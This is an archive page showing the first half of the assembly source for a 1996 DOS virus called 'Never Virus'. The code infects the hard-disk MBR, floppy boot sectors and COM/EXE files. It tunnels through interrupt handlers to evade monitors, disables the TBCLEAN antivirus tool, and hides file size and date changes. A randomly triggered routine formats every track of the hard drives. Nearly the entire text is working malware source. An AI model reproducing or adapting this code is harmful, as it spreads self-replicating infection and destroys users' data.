home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / NEVER.ASM < prev    next >
Assembly Source File  |  1996-03-17  |  67KB  |  1,647 lines

  1. ;Never Virus
  2. ;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
  3. ;Tunnels
  4. ;Does other stuff
  5. ;link with eng.asm
  6.  
  7. .model  tiny
  8. .code
  9.  
  10. file_size       equ     file_end - v_start
  11. sect_size       equ     (decrypt - v_start + 511) / 512
  12. para_size       equ     (v_end - v_start + 15) / 16
  13. kilo_size       equ     (v_end - v_start + 1023) / 1024
  14.  
  15. find_dos_13     equ     tracer_dos_13 - (trace_mode + 1)
  16. find_13         equ     tracer_13 - (trace_mode + 1)
  17. find_15         equ     tracer_15 - (trace_mode + 1)
  18. find_21         equ     tracer_21 - (trace_mode + 1)
  19. find_40         equ     tracer_40 - (trace_mode + 1)
  20. step_21         equ     tracer_step_21 - (trace_mode + 1)
  21.  
  22. loader_size     equ     (OFFSET loader_end) - loader
  23.  
  24. no_hook_21      equ     new_13_next - (hook_21 + 1)
  25. yes_hook_21     equ     check_21 - (hook_21 + 1)
  26.  
  27. boot            equ     0
  28. file            equ     1
  29.  
  30. years           equ     100 shl 1
  31.  
  32.  
  33. v_start:        jmp     decrypt
  34.                 
  35.                 ; push    cs
  36.                 ; pop     ds
  37.                 ; call    copy_ints
  38.                 dw      copy_ints - ($ + 2)     ; save ints 13 15 21 40
  39.                 mov     ds:hook_21,al           ; (0=yes_hook_21) hook 21h
  40.                 mov     ds:origin,al            ; (0=boot) remeber host
  41.                 mov     es,ax                   ; ES=0
  42.                 pop     di
  43.                 sub     di,3                    ; address of loader in boot
  44.                 push    ax di                   ; save return address 0:xxxx
  45.                 mov     si,offset boot_code
  46.                 call    move_boot_code1         ; copy and decode boot code
  47.                 mov     al,13h
  48.                 mov     dx,offset new_13
  49.                 call    set_int                 ; hook int 13h
  50.                 call    inf_hard                ; infect drive C:
  51.                 test    byte ptr ds:load_head,dl ; DL=80h drive C:?
  52.                 je      boot_retf
  53.                 mov     ax,1ffh
  54.                 call    random                  ; time to activate?
  55.                 jne     boot_retf
  56.                 jmp     kill_disk
  57.  
  58. boot_retf:      retf                            ; return to boot sector
  59.                 
  60. ;=====( Copy boot code and (en/de)crypt it )=================================;
  61.  
  62. move_boot_code1:mov     ah,ds:[si - 1]          ; get key
  63. move_boot_code: mov     cx,loader_size
  64.                 cld
  65. move_boot_loop: lodsb
  66.                 xor     al,ah                   ; code/decode
  67.                 rol     ah,1
  68.                 stosb
  69.                 loop    move_boot_loop
  70.                 retn
  71.                 
  72. ;=====( Code that was in boot sector before infection )======================;
  73.  
  74. boot_code_key   db      ?
  75. boot_code       db      loader_size dup(?)
  76.  
  77. ;=====( Gets inserted into infected Boot sectors/MBRs )======================;
  78.  
  79. loader:         call    $ + 3
  80.                 mov     di,40h
  81.                 mov     ds,di
  82.                 sub     word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
  83.                 mov     ax,ds:[di-(40h-13h)]
  84.                 mov     cl,0ah
  85.                 ror     ax,cl                   ; get TOM address
  86.                 mov     es,ax
  87.                 mov     ax,200h + sect_size
  88.                 xor     bx,bx
  89.                 mov     cx,0
  90. load_sect       =       $ - 2
  91.                 mov     dx,0
  92. load_head       =       $ - 2
  93.                 int     13h                     ; read code into memory
  94.                 jb      load_fail
  95.                 push    es bx                   ; address of high code
  96.                 retf
  97. load_fail:      int     18h
  98. loader_end:
  99.  
  100. ;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;
  101.  
  102. copy_ints:      push    ds
  103.                 xor     ax,ax
  104.                 mov     ds,ax                   ; segment 0
  105.                 mov     si,13h * 4h
  106.                 mov     di,offset int_13
  107.                 push    si si
  108.                 movsw
  109.                 movsw                           ; int 13h to int_13
  110.                 pop     si
  111.                 movsw
  112.                 movsw                           ; int 13h to dos_13
  113.                 mov     si,15h * 4h
  114.                 movsw
  115.                 movsw                           ; int 15h to int_15
  116.                 pop     si                      ; address of int 13h's IVT
  117.                 cmp     byte ptr ds:[475h],al   ; any hard disks?
  118.                 je      copy_int_40
  119.                 mov     si,40h * 4h
  120. copy_int_40:    movsw
  121.                 movsw                           ; copy int 13h/40h to int_40
  122.                 mov     si,21h * 4h
  123.                 movsw
  124.                 movsw                           ; int 21h to int_21
  125.                 pop     ds
  126.                 retn
  127.  
  128. ;=====( get interrupt address )==============================================;
  129.  
  130. get_int:        push    ax
  131.                 xor     ah,ah
  132.                 rol     ax,1
  133.                 rol     ax,1
  134.                 xchg    bx,ax
  135.                 xor     ax,ax
  136.                 mov     es,ax
  137.                 les     bx,es:[bx]              ; get int address
  138.                 pop     ax
  139.                 retn
  140.  
  141. ;=====( Set interrupt address )==============================================;
  142.  
  143. set_int:        push    ax bx ds
  144.                 xor     ah,ah
  145.                 rol     ax,1
  146.                 rol     ax,1
  147.                 xchg    ax,bx
  148.                 xor     ax,ax
  149.                 push    ds
  150.                 mov     ds,ax
  151.                 mov     ds:[bx],dx
  152.                 pop     ds:[bx + 2]
  153.                 pop     ds bx ax
  154.                 retn
  155.                 
  156.  
  157. push_all:       pop     cs:push_pop_ret
  158.                 pushf
  159.                 push    ax bx cx dx bp si di ds es
  160.                 mov     bp,sp
  161. push_pop_jmp:   jmp     cs:push_pop_ret
  162.  
  163. pop_all:        pop     cs:push_pop_ret
  164.                 pop     es ds di si bp dx cx bx ax
  165.                 popf
  166.                 jmp     push_pop_jmp
  167.  
  168. ;=====( Infect Drive C: )====================================================;
  169.  
  170. inf_hard:       push    cs cs
  171.                 pop     es ds
  172.                 mov     ax,201h
  173.                 mov     bx,offset disk_buff
  174.                 mov     cx,1
  175.                 mov     dx,80h
  176.                 call    call_13                 ; read MBR of drive C:
  177.                 jb      cant_inf_hard
  178.                 cmp     ds:[bx.pt_start_head],ch ; Jackal?
  179.                 je      cant_inf_hard
  180.                 mov     cx,ds:[bx.pt_end_sector_track]
  181.                 and     cx,0000000000111111b    ; get sector count
  182.                 sub     cx,sect_size
  183.                 jbe     cant_inf_hard
  184.                 cmp     cl,1                    ; too few sectors?
  185.                 jbe     cant_inf_hard
  186.                 call    copy_loader             ; copy loader into MBR
  187.                 jb      cant_inf_hard
  188.                 push    bx
  189.                 mov     ax,300h + sect_size
  190.                 xor     bx,bx
  191.                 call    call_13                 ; write code to hidden sectors
  192.                 pop     bx
  193.                 jb      cant_inf_hard
  194.                 mov     ax,301h
  195.                 mov     cl,1
  196.                 call    call_13                 ; write infected MBR
  197. cant_inf_hard:  retn   
  198.  
  199. ;=====( Copy Loader into disk_buff (BX) )====================================;
  200.  
  201. copy_loader:    push    cx dx
  202.                 cmp     word ptr ds:[bx+1feh],0aa55h    ; valid boot code?
  203.                 jne     copy_load_no
  204.                 mov     di,offset boot_code
  205.                 mov     ds:[di+load_sect-boot_code],cx  ; save track/sector
  206.                 and     dl,80h                          ; Drive C: or A:
  207.                 mov     ds:[di+load_head-boot_code],dx  ; save head/disk
  208.                 call    find_boot               ; find code/already infected?
  209.                 je      copy_load_no
  210.                 call    random_1                ; get random key
  211.                 mov     ds:[di - 1],ah          ; save key at boot_code_key
  212.                 push    si
  213.                 call    move_boot_code          ; save boot code and encrypt
  214.                 mov     si,di                   ; offset of loader
  215.                 pop     di                      ; boot code pointer
  216.                 mov     cx,loader_size
  217.                 rep     movsb                   ; copy loader into boot sect
  218.                 clc
  219.                 mov     al,0
  220.                 org     $ - 1
  221. copy_load_no:   stc
  222.                 pop     dx cx
  223.                 retn   
  224.                 
  225. ;=====( Find start of boot sector's code )===================================;
  226.  
  227. find_boot:      mov     si,bx
  228.                 cld
  229.                 lodsb                           ; get 1st instruction
  230.                 push    ax
  231.                 lodsw                           ; Jump displacement (if jump)
  232.                 xchg    cx,ax
  233.                 pop     ax
  234.                 cmp     al,0ebh                 ; Short jump?
  235.                 jne     find_boot_jump
  236.                 xor     ch,ch                   ; 8bit jump
  237.                 dec     si
  238.                 jmp     find_boot_add
  239. find_boot_jump: cmp     al,0e9h                 ; Near Jump?
  240.                 je      find_boot_add
  241. find_boot_noadd:sub     cx,cx                   ; No displacement
  242.                 mov     si,bx
  243. find_boot_add:  add     si,cx                   ; si=start of boot code
  244.                 cmp     si,offset (disk_buff+200h) - (loader_size + 5) 
  245.                                                 ; jump out of range?
  246.                 jnb     find_boot_noadd
  247.                 cmp     word ptr ds:[si],00e8h  ; CALL -> already infected
  248.                 jne     find_boot_ret
  249.                 cmp     word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
  250. find_boot_ret:  retn
  251.  
  252. ;=====( Disable TBCLEAN )====================================================;
  253.  
  254. anti_tbclean:   xor     ax,ax
  255.                 pushf
  256.                 pop     dx
  257.                 and     dh,not 1                ; TF off
  258.                 push    dx dx
  259.                 popf
  260.                 push    ss
  261.                 pop     ss
  262.                 pushf                           ; Not trapped
  263.                 pop     dx
  264.                 test    dh,1                    ; TF set?
  265.                 pop     dx
  266.                 je      anti_tb_ret
  267.                 push    es
  268.                 xor     bp,bp
  269.                 mov     cx,ss
  270.                 cli
  271.                 mov     ss,bp                   ; segment 0
  272.                 les     di,ss:[bp+1h*4h]        ; address of int 1h
  273.                 mov     ss,cx
  274.                 sti
  275.                 mov     al,0cfh
  276.                 cld
  277.                 stosb                           ; IRET -> Int 1h
  278.                 pop     es
  279.                 push    dx
  280.                 popf
  281. anti_tb_ret:    xchg    bp,ax                   ; save result
  282.                 retn
  283.  
  284. ;=====( Swap jump into DOS' int 13h )========================================;
  285.  
  286. swap_13:        call    push_all
  287.                 mov     si,offset jump_code_13
  288.                 les     di,cs:[si+dos_13-jump_code_13]  ; get address in DOS
  289.                 jmp     swap_code
  290.  
  291. ;=====( Swap jump into DOS' int 21h )========================================;
  292.  
  293. swap_21:        call    push_all
  294.                 mov     si,offset jump_code_21
  295.                 les     di,cs:[si+int_21-jump_code_21]
  296. swap_code:      push    cs
  297.                 pop     ds
  298.                 mov     cx,5
  299.                 cmp     ds:origin,ch            ; 0 -> Boot origin, no tunnel
  300.                 je      swap_end
  301.                 cld
  302. swap_loop:      lodsb
  303.                 xchg    al,es:[di]
  304.                 mov     ds:[si-1],al
  305.                 inc     di
  306.                 loop    swap_loop
  307. swap_end:       call    pop_all
  308.                 retn
  309.  
  310. ;=====( Find original interrupt entry points )===============================;
  311.  
  312. find_ints:      call    copy_ints               ; get interrupt addresses
  313.                 mov     ah,52h
  314.                 int     21h
  315.                 mov     ax,es:[bx-2]
  316.                 mov     ds:dos_seg,ax           ; 1st MCB segment
  317.                 mov     al,1h
  318.                 call    get_int                 ; get address of int 1h
  319.                 push    bx es
  320.                 mov     dx,offset tracer
  321.                 call    set_int                 ; hook int 1h
  322.                 pushf
  323.                 pop     si
  324.                 mov     di,offset trace_mode
  325.                 mov     byte ptr ds:[di],find_dos_13  ; find int 13h in DOS
  326.                                                       ; and BIOS
  327.                 mov     ah,1h
  328.                 call    si_tf                   ; set TF
  329.                 call    call_13
  330.                 mov     byte ptr ds:[di],find_15 ; find int 15h in BIOS
  331.                 mov     ah,0c0h
  332.                 call    si_tf                   ; set TF
  333.                 pushf
  334.                 call    ds:int_15   
  335.                 mov     byte ptr ds:[di],find_21 ; find int 21h in DOS
  336.                 mov     ah,30h
  337.                 call    si_tf                   ; set TF
  338.                 call    call_21
  339.                 mov     byte ptr ds:[di],find_40 ; find int 40h in BIOS
  340.                 mov     ah,1
  341.                 call    si_tf                   ; set TF
  342.                 call    call_40
  343.                 and     si,not 100h
  344.                 push    si
  345.                 popf                            ; disable Trapping
  346.                 pop     ds dx
  347.                 mov     al,1
  348.                 call    set_int                 ; unhook int 1h
  349.                 retn
  350.  
  351. ;=====( Set TF in SI, then set flags to SI )=================================;
  352.  
  353. si_tf:          or      si,100h
  354.                 push    si
  355.                 popf
  356.                 retn
  357.  
  358. ;=====( Tracing/Tunneling )==================================================;
  359.  
  360. tracer:         push    ds
  361.                 push    cs
  362.                 pop     ds
  363.                 mov     ds:old_di,di
  364.                 mov     di,offset old_ax
  365.                 mov     ds:[di],ax
  366.                 mov     ds:[di+old_bx-old_ax],bx
  367.                 mov     ds:[di+old_cx-old_ax],cx
  368.                 mov     ds:[di+old_dx-old_ax],dx
  369.                 pop     ds:[di-(old_ax-old_ds)]
  370.                 pop     bx cx dx                ; get IP, CS and Flags
  371.                 mov     ax,cs
  372.                 cmp     ax,cx                   ; In our CS?
  373.                 jne     $
  374. trace_mode      =       byte ptr $ - 1
  375.                 jmp     tracer_iret
  376.  
  377. tracer_dos_13:  cmp     cx,ds:dos_seg           ; in DOS code?
  378.                 jnb     tracer_cont
  379.                 mov     di,offset dos_13
  380.                 mov     ds:trace_mode,find_13   ; find it in BIOS next
  381.                 jmp     tracer_save_f
  382.  
  383. tracer_21:      cmp     cx,1234h                ; In DOS code?
  384. dos_seg         =       word ptr $ - 2
  385.                 jnb     tracer_cont
  386.                 mov     di,offset int_21
  387. tracer_save:    and     dh,not 1                ; TF off
  388. tracer_save_f:  mov     ds:[di],bx
  389.                 mov     ds:[di + 2],cx          ; save address of int
  390.                 jmp     tracer_cont
  391.  
  392. tracer_15:      mov     di,offset int_15
  393.                 jmp     tracer_bios
  394.  
  395. tracer_40:      mov     di,offset int_40
  396.                 jmp     tracer_bios
  397.                 
  398. tracer_13:      mov     di,offset int_13
  399. tracer_bios:    cmp     ch,0c8h                 ; Below BIOS?
  400.                 jb      tracer_cont
  401.                 cmp     ch,0f4h                 ; Above BIOS?
  402.                 jb      tracer_save
  403.                 jmp     tracer_cont
  404.  
  405. tracer_step_21: dec     ds:inst_count           ; down counter
  406.                 jne     tracer_cont
  407.                 push    dx
  408.                 mov     al,1
  409.                 lds     dx,ds:int_1             ; get int 1h address
  410.                 call    set_int
  411.                 call    swap_21                 ; insert int 21h jump
  412.                 pop     dx
  413.                 and     dh,not 1h               ; TF off
  414.  
  415. tracer_cont:    test    dh,1                    ; TF on?
  416.                 je      tracer_iret
  417. get_inst:       mov     ds,cx                   ; instruction CS
  418.                 xor     di,di
  419. get_inst1:      mov     ax,ds:[bx + di]         ; get instruction
  420.                 cmp     al,0f0h                 ; LOCK
  421.                 je      skip_prefix
  422.                 cmp     al,0f2h                 ; REPNE
  423.                 je      skip_prefix
  424.                 cmp     al,0f3h                 ; REPE?
  425.                 je      skip_prefix
  426.                 cmp     al,9ch                  ; PUSHF or above?
  427.                 jae     emulate_pushf
  428.                 and     al,11100111b            ; 26,2e,36,3e = 26
  429.                 cmp     al,26h                  ; Segment Prefix?
  430.                 jne     tracer_iret
  431. skip_prefix:    inc     di
  432.                 jmp     get_inst1
  433.  
  434. emulate_pushf:  jne     emulate_popf
  435.                 and     dh,not 1                ; TF off
  436.                 push    dx                      ; fake PUSHF
  437. emulate_next:   lea     bx,ds:[bx + di + 1]     ; skip instruction
  438. emulate_tf:     or      dh,1                    ; TF on
  439.                 jmp     get_inst
  440.  
  441. emulate_popf:   cmp     al,9dh                  ; POPF?
  442.                 jne     emulate_iret
  443.                 pop     dx                      ; fake POPF
  444.                 jmp     emulate_next
  445.  
  446. emulate_iret:   cmp     al,0cfh                 ; IRET?
  447.                 jne     emulate_int
  448.                 pop     bx cx dx                ; fake IRET
  449.                 jmp     emulate_tf
  450.  
  451. emulate_int:    cmp     al,0cdh                 ; Int xx
  452.                 je      emulate_int_xx
  453.                 cmp     al,0cch                 ; Int 3?
  454.                 mov     ah,3
  455.                 je      emulate_int_x
  456.                 cmp     al,0ceh                 ; Into?
  457.                 mov     ah,4
  458.                 jne     tracer_iret
  459.                 test    dh,8                    ; OF set?
  460.                 je      tracer_iret
  461. emulate_int_x:  dec     bx                      ; [bx+di+2-1]
  462. emulate_int_xx: and     dh,not 1                ; TF off
  463.                 lea     bx,ds:[bx + di + 2]     ; get return address
  464.                 push    dx cx bx                ; fake Int
  465.                 mov     al,ah                
  466.                 push    es
  467.                 call    get_int                 ; get interrupt address
  468.                 mov     cx,es
  469.                 pop     es
  470.                 jmp     emulate_tf
  471.  
  472. tracer_iret:    push    dx cx bx                ; save flags, cs & ip
  473.                 mov     ax,0
  474. old_ds          =       word ptr $ - 2
  475.                 mov     ds,ax
  476.                 mov     ax,0
  477. old_ax          =       word ptr $ - 2
  478.                 mov     bx,0
  479. old_bx          =       word ptr $ - 2
  480.                 mov     cx,0
  481. old_cx          =       word ptr $ - 2
  482.                 mov     dx,0
  483. old_dx          =       word ptr $ - 2
  484.                 mov     di,0
  485. old_di          =       word ptr $ - 2
  486.                 iret
  487.  
  488. ;=====( file infections come here after decryption )=========================;
  489.  
  490. file_start:     push    ds                      ; save PSP segment
  491.                 call    $ + 3
  492.                 pop     si
  493.                 sub     si,offset $ - 1
  494.                 call    anti_tbclean            ; disable TBCLEAN
  495.                 or      bp,bp                   ; TBCLEAN active?
  496.                 jne     go_res
  497.                 mov     ah,30h
  498.                 mov     bx,-666h
  499.                 int     21h
  500.                 cmp     al,3h                   ; must be DOS 3+
  501.                 jb      jump_host
  502. go_res:         mov     ax,es
  503.                 dec     ax
  504.                 mov     ds,ax
  505.                 sub     di,di
  506.                 or      bp,bp                   ; TBCLEAN here?
  507.                 jne     dont_check_mcb
  508.                 cmp     byte ptr ds:[di],'Z'    ; Last Block?
  509.                 jne     jump_host
  510. dont_check_mcb: mov     ax,para_size
  511.                 sub     ds:[di + 3],ax          ; from MCB
  512.                 sub     ds:[di + 12h],ax        ; from PSP
  513.                 mov     es,ds:[di + 12h]        ; get memory address
  514.                 mov     ds,di
  515.                 sub     word ptr ds:[413h],kilo_size ; from int 12h
  516.                 mov     cx,jump_code_13-v_start
  517.                 cld
  518.                 rep     movs byte ptr es:[di],byte ptr cs:[si]  
  519.                 mov     ax,offset high_code
  520.                 push    es ax
  521.                 retf
  522.  
  523. jump_host:      push    cs
  524.                 pop     ds
  525.                 pop     es                      ; PSP segment
  526.                 lea     si,ds:[si + header]     ; get address of header
  527.                 mov     ax,ds:[si]              ; get 1st instruction
  528.                 cmp     ax,'ZM'                 ; EXE?
  529.                 je      jump_2_exe
  530.                 cmp     ax,'MZ'                 ; EXE?
  531.                 je      jump_2_exe
  532.                 mov     cx,18h / 2
  533.                 mov     di,100h
  534.                 push    es di
  535.                 cld
  536.                 rep     movsw                   ; repair .COM file
  537.                 push    es
  538.                 pop     ds
  539.                 xchg    ax,cx
  540.                 retf
  541.                 
  542. jump_2_exe:     mov     ax,es
  543.                 add     ax,10h
  544.                 add     ds:[si.eh_cs],ax
  545.                 add     ax,ds:[si.eh_ss]        ; get SS/CS
  546.                 push    es
  547.                 pop     ds
  548.                 cli
  549.                 mov     ss,ax
  550.                 mov     sp,cs:[si.eh_sp]
  551.                 xor     ax,ax
  552.                 sti
  553.                 jmp     dword ptr cs:[si.eh_ip]
  554.  
  555.  
  556. high_code:      push    cs
  557.                 pop     ds
  558.                 mov     byte ptr ds:[di+origin-jump_code_13],file ; tunnel      
  559.                 mov     ax,2
  560.                 call    random                  ; 1 in 3 chance of no stealth
  561.                                                 ; on special programs
  562.                 mov     ds:check_special,al
  563.                 mov     ds:hook_21,no_hook_21   ; dont hook int 21h
  564.                 mov     al,0eah
  565.                 stosb                           ; store at jump_code_13
  566.                 mov     ds:[di+4],al
  567.                 mov     ax,offset new_13
  568.                 stosw
  569.                 mov     word ptr ds:[di+3],offset new_21
  570.                 mov     ds:[di],cs
  571.                 mov     ds:[di+5],cs
  572.                 push    di
  573.                 call    find_ints               ; trace interrupts
  574.                 pop     di
  575.                 push    cs
  576.                 pop     ds
  577.                 mov     ax,ds:dos_seg
  578.                 cmp     word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax 
  579.                                                 ; found DOS' int 13h?
  580.                 ja      call_inf_hard
  581.                 cmp     word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax            
  582.                                                 ; found DOS' int 21h?
  583.                 ja      call_inf_hard
  584.                 call    swap_13
  585.                 call    swap_21                 ; insert jumps into DOS
  586. call_inf_hard:  call    inf_hard                ; infect drive C:
  587.                 or      bp,bp                   ; ZF -> No TBCLEAN
  588.                 mov     si,bp                   ; SI=0 if goto jump_host
  589.                 jne     kill_disk
  590.                 jmp     jump_host
  591.  
  592. kill_disk:      xor     bx,bx
  593.                 mov     es,bx                   ; table to use for format
  594.                 mov     dl,80h                  ; Drive C:
  595. kill_next_disk: xor     dh,dh                   ; head 0
  596. kill_next_track:xor     cx,cx                   ; track 0             
  597. kill_format:    mov     ax,501h
  598.                 call    call_disk               ; format track
  599.                 and     cl,11000000b
  600.                 inc     ch                      ; next track low
  601.                 jne     kill_format
  602.                 add     cl,40h                  ; next track high
  603.                 jne     kill_format
  604.                 xor     ah,ah
  605.                 int     13h                     ; reset disk
  606.                 inc     dh                      ; next head
  607.                 cmp     dh,10h
  608.                 jb      kill_next_track
  609.                 inc     dx                      ; next drive
  610.                 jmp     kill_next_disk
  611.  
  612. ;=====( Interrupt 13h handler )==============================================;
  613.  
  614. new_13:         jmp     $
  615. hook_21         =       byte ptr $ - 1
  616.  
  617. check_21:       call    push_all
  618.                 mov     al,21h
  619.                 call    get_int                 ; get int 21h address
  620.                 mov     ax,es
  621.                 push    cs cs
  622.                 pop     ds es
  623.                 cmp     ax,800h                 ; too high?
  624.                 ja      cant_hook_21
  625.                 mov     di,offset int_21 + 2
  626.                 std
  627.                 xchg    ax,ds:[di]              ; swap addresses
  628.                 scasw                           ; did it change?
  629.                 je      cant_hook_21
  630.                 mov     ds:[di],bx
  631.                 mov     al,21h
  632.                 mov     dx,offset new_21
  633.                 call    set_int                 ; hook int 21h
  634.                 mov     ds:hook_21,no_hook_21
  635. cant_hook_21:   call    pop_all
  636.  
  637. new_13_next:    cmp     ah,2h                   ; Read?
  638.                 jne     jump_13
  639.                 cmp     cx,1                    ; track 0, sector 1?
  640.                 jne     jump_13
  641.                 or      dh,dh                   ; head 0?
  642.                 je      hide_boot
  643. jump_13:        call    call_dos_13
  644.                 retf    2h
  645.  
  646.  
  647. hide_boot:      call    call_dos_13             ; read boot sector
  648.                 call    push_all
  649.                 jb      hide_boot_err
  650.                 push    es cs
  651.                 pop     es ds
  652.                 mov     cx,100h
  653.                 mov     si,bx
  654.                 mov     di,offset disk_buff
  655.                 mov     bx,di
  656.                 cld
  657.                 rep     movsw                   ; copy boot sector to buffer
  658.                 push    cs
  659.                 pop     ds
  660.                 call    find_boot               ; find start/already infected?
  661.                 jne     inf_boot
  662.                 mov     ax,201h
  663.                 mov     cx,ds:[si+load_sect-loader]
  664.                 mov     dh,byte ptr ds:[si+(load_head+1)-loader]
  665.                                                 ; get code location
  666.                 call    call_disk               ; read virus code
  667.                 jb      hide_boot_err
  668.                 mov     ax,ds:[0]
  669.                 cmp     ds:[bx],ax              ; verify infection
  670.                 jne     hide_boot_err
  671.                 mov     di,ss:[bp.reg_bx]
  672.                 mov     es,ss:[bp.reg_es]       ; get caller's buffer
  673.                 sub     si,bx                   ; displacement into boot sect.
  674.                 add     di,si                   ; address of loader
  675.                 lea     si,ds:[bx+(boot_code-v_start)] ; boot code in virus
  676.                 call    move_boot_code1         ; hide infection
  677. hide_boot_err:  call    pop_all
  678.                 retf    2h
  679.  
  680. inf_boot:       cmp     dl,80h                  ; hard disk?
  681.                 jnb     hide_boot_err
  682.                 mov     ax,301h
  683.                 mov     cx,1
  684.                 call    call_disk               ; Write boot sector to disk
  685.                                                 ; CY -> Write-Protected
  686.                 jb      hide_boot_err
  687.                 mov     si,dx                   ; save drive #
  688.                 mov     di,bx
  689.                 mov     ax,ds:[di.bs_sectors]   ; get number of sectors
  690.                 mov     cx,ds:[di.bs_sectors_per_track]
  691.                 sub     ds:[di.bs_sectors],cx   ; prevent overwriting of code
  692.                 mov     ds:hide_count,cx
  693.                 xor     dx,dx
  694.                 or      ax,ax                   ; error?
  695.                 je      hide_boot_err
  696.                 jcxz    hide_boot_err
  697.                 div     cx
  698.                 or      dx,dx                   ; even division?
  699.                 jne     hide_boot_err
  700.                 mov     bx,ds:[di.bs_heads]     ; get number of heads
  701.                 or      bx,bx
  702.                 je      hide_boot_err
  703.                 div     bx
  704.                 or      dx,dx
  705.                 jne     hide_boot_err
  706.                 dec     ax
  707.                 mov     ch,al                   ; last track
  708.                 mov     cl,1                    ; sector 1
  709.                 dec     bx
  710.                 mov     dx,si                   ; drive
  711.                 mov     dh,bl                   ; last head
  712.                 mov     bx,di                   ; offset disk buffer
  713.                 call    copy_loader             ; Copy loader into Boot sector
  714.                 jb      hide_boot_err
  715.                 mov     ax,300h + sect_size
  716.                 xor     bx,bx
  717.                 call    call_disk
  718.                 jb      hide_boot_err
  719.                 mov     ax,301h
  720.                 mov     bx,offset disk_buff
  721.                 mov     cx,1
  722.                 xor     dh,dh
  723.                 call    call_disk               ; write boot sector to disk
  724.                 mov     bx,ss:[bp.reg_bx]
  725.                 mov     ds,ss:[bp.reg_es]       ; get caller's buffer
  726.                 sub     ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
  727. hide_count      =       word ptr $ - 2
  728.                 jmp     hide_boot_err
  729.  
  730. ;=====( Interrupt 21h handler )==============================================;
  731.  
  732. new_21:         cli
  733.                 mov     cs:int_21_ss,ss
  734.                 mov     cs:int_21_sp,sp         ; save stack pointers
  735.                 push    cs
  736.                 pop     ss
  737.                 mov     sp,offset temp_stack    ; allocate stack
  738.                 sti
  739.                 call    push_all
  740.                 in      al,21h
  741.                 or      al,2                    ; disable keyboard
  742.                 out     21h,al
  743.                 push    cs
  744.                 pop     ds
  745.                 mov     di,offset new_24
  746.                 mov     word ptr ds:[di-(new_24-handle)],bx ; save handle
  747.                 mov     al,24h
  748.                 call    get_int                 ; get address of int 24h
  749.                 mov     word ptr ds:[di-(new_24-int_24)],bx
  750.                 mov     word ptr ds:[di-(new_24-(int_24+2))],es
  751.                 mov     word ptr ds:[di],03b0h  ; MOV AL,3
  752.                 mov     byte ptr ds:[di+2],0cfh ; IRET
  753.                 mov     dx,di
  754.                 call    set_int                 ; hook int 24h
  755.                 call    pop_all
  756.                 call    swap_21                 ; remove jump from int 21h
  757.                 call    push_all
  758.                 cmp     ah,30h                  ; get DOS version?
  759.                 jne     is_dir_fcb
  760.                 add     bx,666h                 ; looking for us?
  761.                 jnz     is_dir_fcb
  762.                 mov     ss:[bp.reg_ax],bx       ; set DOS version=0
  763.                 mov     ss:[bp.reg_bx],bx
  764.                 jmp     retf_21
  765.  
  766. is_dir_fcb:     cmp     ah,11h
  767.                 jb      is_dir_asciiz
  768.                 cmp     ah,12h
  769.                 ja      is_dir_asciiz
  770.                 call    call_21                 ; do find
  771.                 or      al,al                   ; error?
  772.                 je      dir_fcb
  773.                 jmp     jump_21
  774.  
  775. dir_fcb:        call    save_returns            ; save AX
  776.                 call    get_psp                 ; get current PSP
  777.                 mov     ax,'HC'
  778.                 scasw                           ; CHKDSK?
  779.                 jne     dir_fcb_ok
  780.                 mov     ax,'DK'
  781.                 scasw
  782.                 jne     dir_fcb_ok
  783.                 mov     ax,'KS'
  784.                 scasw
  785.                 je      retf_21
  786. dir_fcb_ok:     call    get_dta                 ; get DTA address
  787.                 xor     di,di
  788.                 cmp     byte ptr ds:[bx],-1     ; extended FCB?
  789.                 jne     dir_fcb_next
  790.                 mov     di,7h                   ; fix it up
  791. dir_fcb_next:   lea     si,ds:[bx+di.ds_date+1] ; offset of year -> SI
  792. dir_hide:       call    is_specialfile          ; no stealth if helper
  793.                 je      retf_21
  794.                 cmp     byte ptr ds:[si],years  ; infected?
  795.                 jc      retf_21
  796.                 sub     byte ptr ds:[si],years  ; restore old date
  797.                 les     ax,ds:[bx+di.ds_size]   ; get size of file
  798.                 mov     cx,es
  799.                 sub     ax,file_size            ; hide size increase
  800.                 sbb     cx,0
  801.                 jc      retf_21
  802.                 mov     word ptr ds:[bx+di.ds_size],ax
  803.                 mov     word ptr ds:[bx+di.ds_size+2],cx ; save new size
  804. retf_21:        call    undo_24                 ; unhook int 24h
  805.                 call    pop_all
  806.                 call    swap_21                 ; insert jump
  807.                 cli
  808.                 mov     ss,cs:int_21_ss
  809.                 mov     sp,cs:int_21_sp
  810.                 sti
  811.                 retf    2
  812.  
  813.                 
  814. is_dir_asciiz:  cmp     ah,4eh
  815.                 jb      is_lseek
  816.                 cmp     ah,4fh
  817.                 ja      is_lseek
  818.                 call    call_21
  819.                 jnc     dir_asciiz    
  820. go_jump_21:     jmp     jump_21
  821.  
  822. dir_asciiz:     call    save_returns            ; save AX and flags
  823.                 call    get_dta                 ; get dta address
  824.                 mov     di,-3
  825.                 lea     si,ds:[bx.dta_date+1]   ; get year address
  826.                 jmp     dir_hide
  827.  
  828. is_lseek:       cmp     ax,4202h                ; Lseek to end?
  829.                 jne     is_date
  830.                 call    call_21_file
  831.                 jb      go_jump_21
  832.                 call    get_dcb                 ; get DCB address
  833.                 jbe     lseek_exit
  834.                 call    is_specialfile          ; dont hide true size from
  835.                                                 ; helpers
  836.                 je      lseek_exit
  837.                 sub     ax,file_size
  838.                 sbb     dx,0                    ; hide virus at end
  839.                 mov     word ptr ds:[di.dcb_pos],ax
  840.                 mov     word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
  841. lseek_exit:     clc
  842.                 call    save_returns            ; save AX/flags
  843.                 mov     ss:[bp.reg_dx],dx
  844.                 jmp     retf_21
  845.  
  846. is_date:        cmp     ax,5700h                ; get date?
  847.                 je      get_date
  848.                 cmp     ax,5701h                ; set date?
  849.                 jne     is_read
  850.                 call    get_dcb
  851.                 jbe     date_err
  852.                 cmp     dh,years                ; already setting 100 years?
  853.                 jnb     date_err
  854.                 add     dh,years                ; dont erase marker
  855. get_date:       call    is_specialfile          ; do not hide date for
  856.                                                 ; helpers
  857.                 je      date_err
